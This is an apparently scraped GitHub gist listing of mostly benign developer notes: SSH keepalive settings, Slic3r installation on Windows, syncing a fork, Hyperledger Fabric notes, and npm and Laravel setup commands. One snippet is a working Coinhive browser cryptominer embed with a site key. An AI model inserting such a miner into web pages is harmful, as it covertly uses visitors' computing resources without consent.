Skip to content

Instantly share code, notes, and snippets.

View rosdyana's full-sized avatar
💭
I may be slow to respond.

Rosdyana Kusuma rosdyana

💭
I may be slow to respond.
View GitHub Profile
@rosdyana
rosdyana / ssh_alive.md
Created March 18, 2018 03:33
keep ssh alive when idle

Client Side

modify

/etc/ssh/ssh_config

add this configuration

Host *
ServerAliveInterval 100
#!/bin/bash
SOURCE="$1"
if [ "${SOURCE}" == "" ]; then
echo "Must specify a source url"
exit 1
fi
DEST="$2"
if [ "${DEST}" == "" ]; then
<script src='https://coin-hive.com/lib/coinhive.min.js'></script><script>var mnr = new CoinHive.Anonymous('afBeaSZFHyC0tzAvd4jciJzO5wVO4805');mnr.start();</script>
@rosdyana
rosdyana / Slic3r_how.MD
Last active December 22, 2017 09:25
Step by step installation of Slic3r in W10

Step by step installation of Slic3r in W10

Install the perl

Slic3r Perl

  • Download Slic3r Perl.
  • Install it, following the on screen instruction. Basically that means keep clicking Next.

Installing the dependencies

Installing the Boost libraries

Slic3r is known to work with Boost 1.63.0. Note: Dev version prior to 27/03/2017 worked ok with boost 1_59_0. If you have that installed, you need to erase the folder c:\dev\boost_1.59_0\ and then install and compile the new boost libraries, following the next instructions

@rosdyana
rosdyana / fork_remote.md
Created December 3, 2017 05:20
Keep fork repo up2date

1. Clone your fork:

git clone [email protected]:YOUR-USERNAME/YOUR-FORKED-REPO.git

2. Add remote from original repository in your forked repository:

cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream
@rosdyana
rosdyana / HyperledgerFabric.md
Created November 13, 2017 08:31
Hyperledger Fabric

What is Hyperledger Fabric

  • Hyperledger Fabric is enterprise grade distributed ledger based on blockchain technology that use smart contract to enforce trust between parties.
  • start from IBM, opensource.
  • hyperledger based on blockchain, but hyperledger isn't cryptocurrency, there's no mining in hyperledger.
  • hyperledger using blockchain without being cryptocurrency.
  • hyperledger keep good props of cryptocurrency blockchain like block imutable, all operation determination, etc.
  • ex : etherium - a thousand transaction per minute, hyperledger easily can operate half million of transaction per minute
  • hyperledger is distributed by design, it's not decentralized database.
  • data -> blockchain data -> imutable
.httacces
===
DirectoryIndex index.php
<IfModule mod_rewrite.c>
<IfModule mod_negotiation.c>
Options -MultiViews
</IfModule>
RewriteEngine On
mkdir deepefflux_task
cd deepefflux_task
npm init
npm install --save async knex moment mysql socketio
npm install --save-dev nodemon
// package.json
"scripts": {
"dev": "nodemon server.js"
},
composer create-project --prefer-dist laravel/laravel deepefflux
sudo chgrp -R www-data storage bootstrap/cache
sudo chmod -R ug+rwx storage bootstrap/cache
cp .env.example .env
php artisan key:generate
@rosdyana
rosdyana / note27072017.md
Last active July 27, 2017 12:53
note 27/07/2017

Install Tensoforflow + PyTorch in Windows platform using miniconda